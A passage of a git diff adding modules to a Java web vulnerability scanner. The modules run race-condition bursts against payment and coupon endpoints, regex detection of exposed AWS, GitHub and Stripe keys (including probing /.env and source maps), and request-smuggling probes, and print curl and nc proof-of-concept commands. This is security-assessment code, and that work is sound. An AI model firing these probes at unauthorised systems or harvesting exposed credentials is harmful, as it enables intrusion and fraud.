Severity.LOW, + "Payload injected alongside param '" + param + "' | Error pattern in response" + + " | Status: " + resp.statusCode() + " | URL: " + url, + "Error response after __proto__ parameter injection suggests the" + + " application may be processing prototype chain properties", + "curl -s -o /dev/null -w '%{http_code}' '" + url + "'", + "Reject __proto__ and constructor keys in query parameter parsing." + + " Use a safe query parser library."); + } + } catch (CircuitBreakerException cbe) { + throw cbe; + } catch (Exception ignored) { + // Individual param failures are expected + } + } + return null; + } + + // ------------------------------------------------------------------------- + // Utility + // ------------------------------------------------------------------------- + + private String fetchBody(ScanContext ctx, HttpClient hc, String url, Consumer log) { + try { + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(url)).timeout(Duration.ofSeconds(6)).GET() + .build(); + HttpResponse r = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.ofString(), id()); + return r.body() != null ? r.body() : ""; + } catch (Exception e) { + return ""; + } + } +} diff --git a/src/main/java/gg/effront/anarcry/scanner/web/race/RaceConditionModule.java b/src/main/java/gg/effront/anarcry/scanner/web/race/RaceConditionModule.java new file mode 100644 index 0000000..705b49d --- /dev/null +++ b/src/main/java/gg/effront/anarcry/scanner/web/race/RaceConditionModule.java @@ -0,0 +1,446 @@ +package gg.effront.anarcry.scanner.web.race; + +import gg.effront.anarcry.model.Finding; +import gg.effront.anarcry.model.Severity; +import gg.effront.anarcry.scanner.ScanContext; +import gg.effront.anarcry.scanner.Scanner; +import gg.effront.anarcry.scanner.util.Http; +import gg.effront.anarcry.scanner.util.HttpClientFactory; + +import java.net.URI; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; +import java.time.Duration; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Locale; +import java.util.Map; +import java.util.Set; +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.function.Consumer; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +public class RaceConditionModule implements Scanner { + + private static final int BURST_SIZE = 10; + private static final Duration REQUEST_TIMEOUT = Duration.ofSeconds(8); + + private static final Set CANDIDATE_KEYWORDS = Set.of("payment", "transfer", "checkout", "redeem", "coupon", + "voucher", "vote", "like", "follow", "subscribe", "register", "signup", "apply", "claim", "withdraw", + "deposit", "order", "purchase", "submit"); + + private static final Pattern RATE_LIMIT_REMAINING = Pattern.compile("x-ratelimit-remaining", + Pattern.CASE_INSENSITIVE); + + private static final Pattern NUMERIC_VALUE = Pattern.compile("-?\\d+"); + + @Override + public String id() { + return "RaceCondition"; + } + + @Override + public List scan(ScanContext ctx, Consumer log) throws Exception { + List findings = new ArrayList<>(); + HttpClient hc = HttpClientFactory.http2(); + + // Phase 1: Identify candidate endpoints from discovered paths + List candidates = identifyCandidates(ctx, log); + if (candidates.isEmpty()) { + log.accept("[~] " + id() + ": nenhum endpoint candidato encontrado -- pulando"); + return findings; + } + + log.accept("[~] " + id() + ": " + candidates.size() + " endpoint(s) candidato(s) para teste de race condition"); + + for (String path : candidates) { + String url = buildUrl(ctx, path); + log.accept("[~] " + id() + ": testando " + url); + + try { + // Phase 2: Baseline request + BaselineResult baseline = sendBaseline(ctx, hc, url, log); + if (baseline == null) { + log.accept("[~] " + id() + ": baseline falhou para " + url + " -- pulando"); + continue; + } + + // Phase 3: Concurrent burst + List burstResponses = sendConcurrentBurst(ctx, hc, url, log); + if (burstResponses.isEmpty()) { + log.accept("[~] " + id() + ": burst sem respostas para " + url + " -- pulando"); + continue; + } + + // Phase 4: Inconsistency detection + analyzeResponses(ctx, url, baseline, burstResponses, findings, log); + } catch (Exception e) { + log.accept("[!] " + id() + ": erro testando " + url + " -- " + e.getMessage()); + } + } + + if (findings.isEmpty()) { + log.accept("[+] " + id() + ": nenhuma vulnerabilidade detectada"); + } + return findings; + } + + // ------------------------------------------------------------------------- + // Phase 1: Candidate identification + // ------------------------------------------------------------------------- + + private List identifyCandidates(ScanContext ctx, Consumer log) { + List candidates = new ArrayList<>(); + Set discoveredPaths = ctx.discoveredPaths().paths(); + + for (String path : discoveredPaths) { + String lower = path.toLowerCase(Locale.ROOT); + for (String keyword : CANDIDATE_KEYWORDS) { + if (lower.contains(keyword)) { + candidates.add(path); + log.accept("[~] " + id() + ": candidato encontrado -- " + path + " (keyword: " + keyword + ")"); + break; + } + } + } + + return candidates; + } + + // ------------------------------------------------------------------------- + // Phase 2: Baseline + // ------------------------------------------------------------------------- + + private record BaselineResult(int statusCode, String body, Map> headers, long rttMs) { + } + + private BaselineResult sendBaseline(ScanContext ctx, HttpClient hc, String url, Consumer log) + throws Exception { + HttpRequest.Builder reqBuilder = HttpRequest.newBuilder().uri(URI.create(url)).timeout(REQUEST_TIMEOUT) + .POST(HttpRequest.BodyPublishers.noBody()); + addAuthHeaders(ctx, reqBuilder); + + HttpRequest req = reqBuilder.build(); + long start = System.nanoTime(); + HttpResponse resp = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.ofString(), id()); + long rttMs = (System.nanoTime() - start) / 1_000_000; + + log.accept("[~] " + id() + ": baseline -- HTTP " + resp.statusCode() + " (" + rttMs + "ms, " + + resp.body().length() + " bytes)"); + + return new BaselineResult(resp.statusCode(), resp.body(), resp.headers().map(), rttMs); + } + + // ------------------------------------------------------------------------- + // Phase 3: Concurrent burst + // ------------------------------------------------------------------------- + + private record BurstResponse(int statusCode, String body, Map> headers, long rttMs, + int index) { + } + + private List sendConcurrentBurst(ScanContext ctx, HttpClient hc, String url, Consumer log) { + List responses = new ArrayList<>(); + + try (ExecutorService pool = Executors.newVirtualThreadPerTaskExecutor()) { + List> futures = new ArrayList<>(); + + for (int i = 0; i < BURST_SIZE; i++) { + final int index = i; + futures.add(CompletableFuture.supplyAsync(() -> { + try { + HttpRequest.Builder reqBuilder = HttpRequest.newBuilder().uri(URI.create(url)) + .timeout(REQUEST_TIMEOUT).POST(HttpRequest.BodyPublishers.noBody()); + addAuthHeaders(ctx, reqBuilder); + HttpRequest req = reqBuilder.build(); + + long start = System.nanoTime(); + HttpResponse resp = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.ofString(), id()); + long rttMs = (System.nanoTime() - start) / 1_000_000; + + return new BurstResponse(resp.statusCode(), resp.body(), resp.headers().map(), rttMs, index); + } catch (Exception e) { + return null; + } + }, pool)); + } + + // Wait for all futures + CompletableFuture.allOf(futures.toArray(new CompletableFuture[0])).join(); + + for (CompletableFuture f : futures) { + try { + BurstResponse br = f.get(); + if (br != null) { + responses.add(br); + } + } catch (Exception ignored) { + // Individual request failures are expected + } + } + } + + log.accept("[~] " + id() + ": burst -- " + responses.size() + "/" + BURST_SIZE + " respostas recebidas"); + return responses; + } + + // ------------------------------------------------------------------------- + // Phase 4: Inconsistency detection + // ------------------------------------------------------------------------- + + private void analyzeResponses(ScanContext ctx, String url, BaselineResult baseline, List responses, + List findings, Consumer log) { + + // Check 1: Success duplication -- multiple 2xx when only one should succeed + checkSuccessDuplication(ctx, url, baseline, responses, findings, log); + + // Check 2: Rate limit bypass + checkRateLimitBypass(ctx, url, baseline, responses, findings, log); + + // Check 3: State inconsistency + checkStateInconsistency(ctx, url, baseline, responses, findings, log); + } + + private void checkSuccessDuplication(ScanContext ctx, String url, BaselineResult baseline, + List responses, List findings, Consumer log) { + + long successCount = responses.stream().filter(r -> r.statusCode() >= 200 && r.statusCode() < 300).count(); + + // If baseline was not 2xx, but multiple burst requests got 2xx -- suspicious + // If baseline was 2xx and all burst are 2xx with same body -- normal behavior + if (successCount > 1 && baseline.statusCode() >= 200 && baseline.statusCode() < 300) { + // Check if success responses have different bodies -- indicates state mutation + List successBodies = responses.stream().filter(r -> r.statusCode() >= 200 && r.statusCode() < 300) + .map(BurstResponse::body).distinct().toList(); + + if (successBodies.size() > 1) { + String evidence = buildSuccessDupEvidence(baseline, responses, successCount); + String curlCmd = buildCurlPoC(ctx, url); + + findings.add(Finding.of(id(), url, "Race Condition -- Success Duplication on Transactional Endpoint", + Severity.HIGH, evidence, + "Concurrent requests to a transactional endpoint returned multiple success " + + "responses with divergent bodies. An attacker can exploit this to " + + "duplicate transactions, apply coupons multiple times, cast multiple " + + "votes, or bypass single-use restrictions.", + curlCmd, + "Implement server-side locking (database-level locks or distributed locks). " + + "Use idempotency keys for financial transactions. Apply atomic " + + "operations with proper isolation levels (SERIALIZABLE). " + + "Add optimistic concurrency control with version columns.")); + + log.accept("[!!] " + id() + ": success duplication detectada em " + url); + } + } + } + + private void checkRateLimitBypass(ScanContext ctx, String url, BaselineResult baseline, + List responses, List findings, Consumer log) { + + // Extract rate limit headers from baseline + int baselineRemaining = extractRateLimitRemaining(baseline.headers()); + if (baselineRemaining < 0) { + // No rate limit header in baseline -- nothing to compare + return; + } + + // Check burst responses for rate limit inconsistencies + List burstRemaining = new ArrayList<>(); + int negativeCount = 0; + int sameAsBaseline = 0; + + for (BurstResponse r : responses) { + int remaining = extractRateLimitRemaining(r.headers()); + if (remaining >= 0) { + burstRemaining.add(remaining); + if (remaining < 0) { + negativeCount++; + } + if (remaining == baselineRemaining) { + sameAsBaseline++; + } + } + } + + if (burstRemaining.isEmpty()) { + return; + } + + boolean bypass = false; + StringBuilder evidenceBuilder = new StringBuilder(); + evidenceBuilder.append("Baseline X-RateLimit-Remaining: ").append(baselineRemaining).append("\n"); + evidenceBuilder.append("Burst X-RateLimit-Remaining values: ").append(burstRemaining).append("\n"); + + // Negative remaining -- counter went below zero + if (negativeCount > 0) { + bypass = true; + evidenceBuilder.append("Anomaly: ").append(negativeCount) + .append(" response(s) with negative remaining count\n"); + } + + // All burst responses show same remaining -- counter not synchronized + if (sameAsBaseline > burstRemaining.size() / 2) { + bypass = true; + evidenceBuilder.append("Anomaly: ").append(sameAsBaseline).append("/").append(burstRemaining.size()) + .append(" responses show same remaining as baseline (counter not decremented)\n"); + } + + if (bypass) { + String curlCmd = buildCurlPoC(ctx, url); + findings.add(Finding.of(id(), url, "Race Condition -- Rate Limit Bypass via Concurrent Requests", + Severity.HIGH, evidenceBuilder.toString(), + "The rate limiting mechanism does not properly synchronize concurrent " + + "requests. An attacker can send parallel requests to bypass rate " + + "limits, enabling brute force attacks, API abuse, or transaction " + + "duplication that the rate limiter was designed to prevent.", + curlCmd, + "Implement atomic rate limit counters (Redis INCR, database FOR UPDATE). " + + "Use distributed locks for rate limit checks. Apply rate limiting " + + "at the load balancer level with proper synchronization.")); + + log.accept("[!!] " + id() + ": rate limit bypass detectado em " + url); + } + } + + private void checkStateInconsistency(ScanContext ctx, String url, BaselineResult baseline, + List responses, List findings, Consumer log) { + + // Group responses by status code + Map statusCounts = new HashMap<>(); + for (BurstResponse r : responses) { + statusCounts.merge(r.statusCode(), 1, Integer::sum); + } + + // If all responses have the same status and same body -- no inconsistency + long distinctBodies = responses.stream().map(BurstResponse::body).distinct().count(); + boolean allSameStatus = statusCounts.size() == 1; + + if (allSameStatus && distinctBodies <= 1) { + return; + } + + // Mixed status codes suggest state contention (e.g., some 200, some 409, some + // 429) + boolean hasMixedStatus = statusCounts.size() > 1; + boolean hasSuccess = statusCounts.keySet().stream().anyMatch(s -> s >= 200 && s < 300); + boolean hasConflict = statusCounts.containsKey(409) || statusCounts.containsKey(429); + + if (hasMixedStatus && hasSuccess && hasConflict) { + StringBuilder evidence = new StringBuilder(); + evidence.append("Baseline: HTTP ").append(baseline.statusCode()).append("\n"); + evidence.append("Burst status code distribution:\n"); + for (Map.Entry entry : statusCounts.entrySet()) { + evidence.append(" HTTP ").append(entry.getKey()).append(": ").append(entry.getValue()) + .append(" response(s)\n"); + } + evidence.append("Distinct response bodies: ").append(distinctBodies).append("\n"); + evidence.append("Interpretation: mixed success/conflict responses indicate a TOCTOU window -- ") + .append("some requests passed the check before others triggered the guard condition."); + + String curlCmd = buildCurlPoC(ctx, url); + findings.add(Finding.of(id(), url, "Race Condition -- State Inconsistency (TOCTOU Window)", Severity.HIGH, + evidence.toString(), + "Concurrent requests produce mixed success and conflict responses, " + + "indicating a time-of-check-to-time-of-use (TOCTOU) gap. An " + + "attacker can repeatedly exploit this window to bypass single-use " + + "constraints, duplicate actions, or corrupt shared state.", + curlCmd, + "Use database transactions with SERIALIZABLE isolation level. " + + "Implement SELECT ... FOR UPDATE or advisory locks around " + + "check-then-act sequences. Apply idempotency keys for " + "state-mutating operations.")); + + log.accept("[!!] " + id() + ": state inconsistency (TOCTOU) detectada em " + url); + } + } + + // ------------------------------------------------------------------------- + // Helpers + // ------------------------------------------------------------------------- + + private String buildUrl(ScanContext ctx, String path) { + String base = ctx.targetUrl(); + if (base.endsWith("/") && path.startsWith("/")) { + return base + path.substring(1); + } + if (!base.endsWith("/") && !path.startsWith("/")) { + return base + "/" + path; + } + return base + path; + } + + private void addAuthHeaders(ScanContext ctx, HttpRequest.Builder builder) { + String token = ctx.activeToken(); + if (token != null && !token.isBlank()) { + builder.header("Authorization", "Bearer " + token); + } + } + + private int extractRateLimitRemaining(Map> headers) { + for (Map.Entry> entry : headers.entrySet()) { + if (RATE_LIMIT_REMAINING.matcher(entry.getKey()).matches()) { + for (String val : entry.getValue()) { + Matcher m = NUMERIC_VALUE.matcher(val); + if (m.find()) { + try { + return Integer.parseInt(m.group()); + } catch (NumberFormatException ignored) { + // skip non-numeric values + } + } + } + } + } + return -1; + } + + private String buildSuccessDupEvidence(BaselineResult baseline, List responses, long successCount) { + StringBuilder sb = new StringBuilder(); + sb.append("Baseline: HTTP ").append(baseline.statusCode()).append(" (").append(baseline.body().length()) + .append(" bytes)\n"); + sb.append("Burst: ").append(successCount).append("/").append(responses.size()) + .append(" requests returned 2xx\n"); + sb.append("Response status distribution:\n"); + + Map statusDist = new HashMap<>(); + for (BurstResponse r : responses) { + statusDist.merge(r.statusCode(), 1, Integer::sum); + } + for (Map.Entry entry : statusDist.entrySet()) { + sb.append(" HTTP ").append(entry.getKey()).append(": ").append(entry.getValue()).append("x\n"); + } + + long distinctBodies = responses.stream().filter(r -> r.statusCode() >= 200 && r.statusCode() < 300) + .map(BurstResponse::body).distinct().count(); + sb.append("Distinct 2xx response bodies: ").append(distinctBodies).append("\n"); + sb.append("Multiple success responses with different bodies indicate state mutation "); + sb.append("from concurrent requests (race condition)."); + return sb.toString(); + } + + private String buildCurlPoC(ScanContext ctx, String url) { + StringBuilder sb = new StringBuilder(); + sb.append("# Race condition PoC -- send ").append(BURST_SIZE).append(" concurrent requests\n"); + + String authHeader = ""; + String token = ctx.activeToken(); + if (token != null && !token.isBlank()) { + authHeader = " -H 'Authorization: Bearer " + token + "'"; + } + if (!ctx.config().sessionCookie().isBlank()) { + authHeader += " -H 'Cookie: " + ctx.config().sessionCookie() + "'"; + } + + sb.append("for i in $(seq 1 ").append(BURST_SIZE).append("); do\n"); + sb.append(" curl -s -o /dev/null -w '%{http_code}\\n' -X POST '").append(url).append("'"); + sb.append(authHeader); + sb.append(" &\n"); + sb.append("done\n"); + sb.append("wait"); + return sb.toString(); + } +} diff --git a/src/main/java/gg/effront/anarcry/scanner/web/secrets/SecretsModule.java b/src/main/java/gg/effront/anarcry/scanner/web/secrets/SecretsModule.java new file mode 100644 index 0000000..f97b04d --- /dev/null +++ b/src/main/java/gg/effront/anarcry/scanner/web/secrets/SecretsModule.java @@ -0,0 +1,282 @@ +package gg.effront.anarcry.scanner.web.secrets; + +import gg.effront.anarcry.model.Finding; +import gg.effront.anarcry.model.Severity; +import gg.effront.anarcry.scanner.ScanContext; +import gg.effront.anarcry.scanner.Scanner; +import gg.effront.anarcry.scanner.util.Http; +import gg.effront.anarcry.scanner.util.HttpClientFactory; + +import java.net.URI; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; +import java.time.Duration; +import java.util.ArrayList; +import java.util.HashSet; +import java.util.LinkedHashSet; +import java.util.List; +import java.util.Set; +import java.util.function.Consumer; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +public class SecretsModule implements Scanner { + + // -- Secret patterns -- + + private static final Pattern AWS_ACCESS_KEY = Pattern.compile("AKIA[0-9A-Z]{16}"); + private static final Pattern AWS_SECRET_KEY = Pattern + .compile("(?i)aws_secret_access_key\\s*[=:]\\s*[A-Za-z0-9/+=]{40}"); + private static final Pattern GITHUB_TOKEN = Pattern.compile("gh[ps]_[A-Za-z0-9_]{36,255}"); + private static final Pattern GITHUB_OAUTH = Pattern.compile("gho_[A-Za-z0-9_]{36,255}"); + private static final Pattern GITLAB_TOKEN = Pattern.compile("glpat-[A-Za-z0-9\\-_]{20,}"); + private static final Pattern SLACK_BOT_TOKEN = Pattern.compile("xoxb-[0-9]{10,13}-[0-9]{10,13}-[a-zA-Z0-9]{24,34}"); + private static final Pattern SLACK_USER_TOKEN = Pattern + .compile("xoxp-[0-9]{10,13}-[0-9]{10,13}-[a-zA-Z0-9]{24,34}"); + private static final Pattern GOOGLE_API_KEY = Pattern.compile("AIza[0-9A-Za-z\\-_]{35}"); + private static final Pattern STRIPE_SECRET_KEY = Pattern.compile("sk_live_[0-9a-zA-Z]{24,99}"); + private static final Pattern STRIPE_PUBLISHABLE_KEY = Pattern.compile("pk_live_[0-9a-zA-Z]{24,99}"); + private static final Pattern PRIVATE_KEY = Pattern.compile("-----BEGIN (RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----"); + private static final Pattern JWT_LONG = Pattern + .compile("eyJ[A-Za-z0-9_-]{10,}\\.eyJ[A-Za-z0-9_-]{10,}\\.[A-Za-z0-9_-]{10,}"); + private static final Pattern GENERIC_API_KEY = Pattern + .compile("(?i)(api[_-]?key|apikey|api[_-]?secret)\\s*[=:]\\s*['\"][A-Za-z0-9\\-_]{16,}['\"]"); + private static final Pattern GENERIC_PASSWORD = Pattern + .compile("(?i)(password|passwd|pwd)\\s*[=:]\\s*['\"][^'\"]{8,}['\"]"); + private static final Pattern HEROKU_API_KEY = Pattern + .compile("[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}"); + private static final Pattern HEROKU_CONTEXT = Pattern.compile("(?i)heroku"); + private static final Pattern TWILIO_KEY = Pattern.compile("SK[0-9a-fA-F]{32}"); + private static final Pattern SENDGRID_KEY = Pattern.compile("SG\\.[A-Za-z0-9\\-_]{22,}\\.[A-Za-z0-9\\-_]{22,}"); + private static final Pattern MAILGUN_KEY = Pattern.compile("key-[0-9a-zA-Z]{32}"); + + // Pattern to extract script src attributes from HTML + private static final Pattern SCRIPT_SRC = Pattern.compile("]+src=[\"']([^\"']+)[\"']", + Pattern.CASE_INSENSITIVE); + + // Pattern to detect source map URLs in JS bundles + private static final Pattern SOURCE_MAP_URL = Pattern.compile("//[#@]\\s*sourceMappingURL=([^\\s]+)"); + + // Well-known JS bundle paths to probe + private static final List JS_BUNDLE_PATHS = List.of("/static/js/main.js", "/static/js/bundle.js", + "/static/js/app.js", "/_next/static/chunks/main.js", "/_next/static/chunks/app.js", "/assets/js/app.js", + "/assets/js/bundle.js", "/build/bundle.js", "/dist/bundle.js", "/dist/app.js", "/config.js", "/config.json", + "/.env"); + + private record SecretPattern(String type, Pattern pattern, Severity severity) { + } + + // Patterns that are matched directly (no context needed) + private static final List DIRECT_PATTERNS = List.of( + new SecretPattern("AWS Access Key", AWS_ACCESS_KEY, Severity.CRITICAL), + new SecretPattern("AWS Secret Key", AWS_SECRET_KEY, Severity.CRITICAL), + new SecretPattern("GitHub Token", GITHUB_TOKEN, Severity.HIGH), + new SecretPattern("GitHub OAuth Token", GITHUB_OAUTH, Severity.HIGH), + new SecretPattern("GitLab Token", GITLAB_TOKEN, Severity.HIGH), + new SecretPattern("Slack Bot Token", SLACK_BOT_TOKEN, Severity.HIGH), + new SecretPattern("Slack User Token", SLACK_USER_TOKEN, Severity.HIGH), + new SecretPattern("Google API Key", GOOGLE_API_KEY, Severity.MEDIUM), + new SecretPattern("Stripe Secret Key", STRIPE_SECRET_KEY, Severity.CRITICAL), + new SecretPattern("Stripe Publishable Key", STRIPE_PUBLISHABLE_KEY, Severity.LOW), + new SecretPattern("Private Key", PRIVATE_KEY, Severity.CRITICAL), + new SecretPattern("JWT Token", JWT_LONG, Severity.MEDIUM), + new SecretPattern("Generic API Key", GENERIC_API_KEY, Severity.MEDIUM), + new SecretPattern("Generic Password", GENERIC_PASSWORD, Severity.HIGH), + new SecretPattern("Twilio API Key", TWILIO_KEY, Severity.HIGH), + new SecretPattern("SendGrid API Key", SENDGRID_KEY, Severity.HIGH), + new SecretPattern("Mailgun API Key", MAILGUN_KEY, Severity.MEDIUM)); + + @Override + public String id() { + return "Secrets"; + } + + @Override + public List scan(ScanContext ctx, Consumer log) throws Exception { + List findings = new ArrayList<>(); + HttpClient hc = HttpClientFactory.http2(); + Set seenSecrets = new HashSet<>(); + Set scannedUrls = new HashSet<>(); + Set jsUrls = new LinkedHashSet<>(); + + String base = ctx.targetUrl().replaceAll("/+$", ""); + + // Phase 1: Crawled pages scan + log.accept("[~] " + id() + ": scanning crawled pages for exposed secrets"); + Set paths = ctx.discoveredPaths().paths(); + if (paths.isEmpty()) { + // Always scan at least the root page + paths = Set.of("/"); + } + for (String path : paths) { + String url = resolveUrl(base, path); + if (!scannedUrls.add(url)) { + continue; + } + String body = fetchBody(ctx, hc, url, log); + if (body == null || body.isBlank()) { + continue; + } + scanContent(body, url, findings, seenSecrets, log); + // Extract JS file references from HTML + extractScriptUrls(body, base, url, jsUrls); + } + + // Phase 2: JavaScript bundle scan + log.accept("[~] " + id() + ": scanning JavaScript bundles"); + // Add well-known bundle paths + for (String bundlePath : JS_BUNDLE_PATHS) { + jsUrls.add(base + bundlePath); + } + Set sourceMapUrls = new LinkedHashSet<>(); + for (String jsUrl : jsUrls) { + if (!scannedUrls.add(jsUrl)) { + continue; + } + String body = fetchBody(ctx, hc, jsUrl, log); + if (body == null || body.isBlank()) { + continue; + } + scanContent(body, jsUrl, findings, seenSecrets, log); + // Check for source maps + Matcher smMatcher = SOURCE_MAP_URL.matcher(body); + if (smMatcher.find()) { + String smUrl = smMatcher.group(1); + sourceMapUrls.add(resolveRelativeUrl(jsUrl, smUrl)); + } + } + + // Phase 3: Source map scan + if (!sourceMapUrls.isEmpty()) { + log.accept("[~] " + id() + ": scanning " + sourceMapUrls.size() + " source map(s)"); + } + for (String smUrl : sourceMapUrls) { + if (!scannedUrls.add(smUrl)) { + continue; + } + String body = fetchBody(ctx, hc, smUrl, log); + if (body == null || body.isBlank()) { + continue; + } + log.accept("[+] " + id() + ": accessible source map at " + smUrl); + scanContent(body, smUrl, findings, seenSecrets, log); + } + + if (findings.isEmpty()) { + log.accept("[+] " + id() + ": no exposed secrets detected"); + } else { + log.accept("[!!] " + id() + ": " + findings.size() + " exposed secret(s) detected"); + } + return findings; + } + + private String fetchBody(ScanContext ctx, HttpClient hc, String url, Consumer log) { + try { + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(url)).timeout(Duration.ofSeconds(6)).GET() + .build(); + HttpResponse resp = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.ofString(), id()); + if (resp.statusCode() >= 200 && resp.statusCode() < 400) { + return resp.body(); + } + } catch (Exception e) { + // Connection errors, timeouts, etc. -- skip silently + } + return null; + } + + private void scanContent(String content, String url, List findings, Set seenSecrets, + Consumer log) { + // Direct pattern matching + for (SecretPattern sp : DIRECT_PATTERNS) { + Matcher matcher = sp.pattern.matcher(content); + while (matcher.find()) { + String matched = matcher.group(); + if (seenSecrets.add(matched)) { + String masked = maskSecret(matched); + log.accept("[!!] " + id() + ": " + sp.type + " found in " + url); + findings.add(buildFinding(sp.type, url, masked, sp.severity)); + } + } + } + // Heroku API Key (requires context match) + if (HEROKU_CONTEXT.matcher(content).find()) { + Matcher herokuMatcher = HEROKU_API_KEY.matcher(content); + while (herokuMatcher.find()) { + String matched = herokuMatcher.group(); + String herokuKey = "heroku:" + matched; + if (seenSecrets.add(herokuKey)) { + String masked = maskSecret(matched); + log.accept("[!!] " + id() + ": Heroku API Key found in " + url); + findings.add(buildFinding("Heroku API Key", url, masked, Severity.HIGH)); + } + } + } + } + + private Finding buildFinding(String secretType, String url, String maskedValue, Severity severity) { + return Finding.of(id(), url, "Exposed " + secretType, severity, + "[" + secretType + "] Found in " + url + ": " + maskedValue, + "Exposed credentials allow unauthorized access to external services, " + + "APIs, or infrastructure. Depending on the key type, this can lead " + + "to data theft, account takeover, or resource abuse.", + "curl -s '" + url + "' | grep -oE '" + maskedValue + "'", + "Remove all secrets from client-side code. Use environment variables " + + "loaded server-side only. Rotate the exposed credential immediately. " + + "Implement secret scanning in CI/CD pipelines."); + } + + private void extractScriptUrls(String html, String base, String pageUrl, Set jsUrls) { + Matcher matcher = SCRIPT_SRC.matcher(html); + while (matcher.find()) { + String src = matcher.group(1); + if (src.startsWith("//")) { + // Protocol-relative URL + jsUrls.add("https:" + src); + } else if (src.startsWith("http://") || src.startsWith("https://")) { + jsUrls.add(src); + } else if (src.startsWith("/")) { + jsUrls.add(base + src); + } else { + // Relative path + String parentPath = pageUrl.substring(0, pageUrl.lastIndexOf('/') + 1); + jsUrls.add(parentPath + src); + } + } + } + + private static String resolveUrl(String base, String path) { + if (path.startsWith("http://") || path.startsWith("https://")) { + return path; + } + if (!path.startsWith("/")) { + path = "/" + path; + } + return base + path; + } + + private static String resolveRelativeUrl(String parentUrl, String relative) { + if (relative.startsWith("http://") || relative.startsWith("https://")) { + return relative; + } + if (relative.startsWith("//")) { + return "https:" + relative; + } + if (relative.startsWith("/")) { + try { + URI uri = URI.create(parentUrl); + return uri.getScheme() + "://" + uri.getAuthority() + relative; + } catch (Exception e) { + return parentUrl.substring(0, parentUrl.lastIndexOf('/') + 1) + relative; + } + } + return parentUrl.substring(0, parentUrl.lastIndexOf('/') + 1) + relative; + } + + private static String maskSecret(String secret) { + if (secret.length() <= 12) { + return secret.substring(0, Math.min(4, secret.length())) + "****"; + } + return secret.substring(0, 8) + "..." + secret.substring(secret.length() - 4); + } +} diff --git a/src/main/java/gg/effront/anarcry/scanner/web/smuggling/RequestSmugglingModule.java b/src/main/java/gg/effront/anarcry/scanner/web/smuggling/RequestSmugglingModule.java index f962368..82bdf17 100644 --- a/src/main/java/gg/effront/anarcry/scanner/web/smuggling/RequestSmugglingModule.java +++ b/src/main/java/gg/effront/anarcry/scanner/web/smuggling/RequestSmugglingModule.java @@ -1,23 +1,30 @@ package gg.effront.anarcry.scanner.web.smuggling; +import gg.effront.anarcry.model.CvssCalculator; +import gg.effront.anarcry.model.CweRegistry; import gg.effront.anarcry.model.Finding; import gg.effront.anarcry.model.Severity; import gg.effront.anarcry.scanner.ScanContext; import gg.effront.anarcry.scanner.Scanner; +import gg.effront.anarcry.scanner.util.Http; +import gg.effront.anarcry.scanner.util.HttpClientFactory; import gg.effront.anarcry.scanner.util.TlsUtil; -import javax.net.ssl.SSLContext; -import javax.net.ssl.SSLSocket; import java.io.InputStream; import java.io.OutputStream; import java.net.InetSocketAddress; import java.net.Socket; +import java.net.URI; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; import java.nio.charset.StandardCharsets; +import java.time.Duration; import java.util.ArrayList; import java.util.List; import java.util.function.Consumer; -import gg.effront.anarcry.model.CweRegistry; -import gg.effront.anarcry.model.CvssCalculator; +import javax.net.ssl.SSLContext; +import javax.net.ssl.SSLSocket; public class RequestSmugglingModule implements Scanner { @@ -48,11 +55,11 @@ public List scan(ScanContext ctx, Consumer log) throws Exceptio // BASELINE_TIMEOUT_MS boolean baseline = sendBaseline(ctx, host, port, BASELINE_TIMEOUT_MS); if (!baseline) { - log.accept("[~] ReqSmuggling: servidor não respondeu ao baseline -- pulando"); + log.accept("[~] ReqSmuggling: servidor nao respondeu ao baseline -- pulando"); return findings; } - // ── Phase 1: CL.TE ── + // -- Phase 1: CL.TE -- boolean clTeTimeout = sendProbeAndCheckTimeout(ctx, host, port, buildClTeProbe(host), PROBE_TIMEOUT_MS); if (clTeTimeout) { log.accept("[!!] ReqSmuggling: CRITICAL -- CL.TE desync confirmado (probe excedeu " + PROBE_TIMEOUT_MS @@ -61,20 +68,20 @@ public List scan(ScanContext ctx, Consumer log) throws Exceptio Severity.CRITICAL, "CL.TE timing probe: POST com Content-Length=4 e Transfer-Encoding=chunked (corpo de 8 bytes) " + "causou timeout de " + PROBE_TIMEOUT_MS + "ms -- backend usa TE e ficou aguardando " - + "bytes de chunk que o frontend (usa CL) não repassou", + + "bytes de chunk que o frontend (usa CL) nao repassou", "Frontend e backend discordam sobre como interpretar Content-Length vs Transfer-Encoding. " + "Um atacante pode 'contrabandear' requests parciais no buffer do backend, " + "causando request hijacking, bypass de controles de acesso, e Account Takeover.", "# Probe CL.TE -- envia via socket raw (nc/openssl):\n" + "printf 'POST / HTTP/1.1\\r\\nHost: " + host + "\\r\\n" + "Content-Length: 4\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n" + "1\\r\\nA\\r\\n0\\r\\n\\r\\n' | nc " + host + " " + port, - "Normalizar requests ambíguos no proxy/load-balancer: rejeitar com 400 qualquer request " + "Normalizar requests ambiguos no proxy/load-balancer: rejeitar com 400 qualquer request " + "que contenha tanto Content-Length quanto Transfer-Encoding; " + "ou reescrever para usar apenas um dos dois", _cweId, _cweTitle, _cveVector, _score)); } - // ── Phase 2: TE.CL ── + // -- Phase 2: TE.CL -- boolean teCLTimeout = sendProbeAndCheckTimeout(ctx, host, port, buildTeCLProbe(host), PROBE_TIMEOUT_MS); if (teCLTimeout) { log.accept("[!!] ReqSmuggling: CRITICAL -- TE.CL desync confirmado"); @@ -82,17 +89,17 @@ public List scan(ScanContext ctx, Consumer log) throws Exceptio Severity.CRITICAL, "TE.CL timing probe: POST com 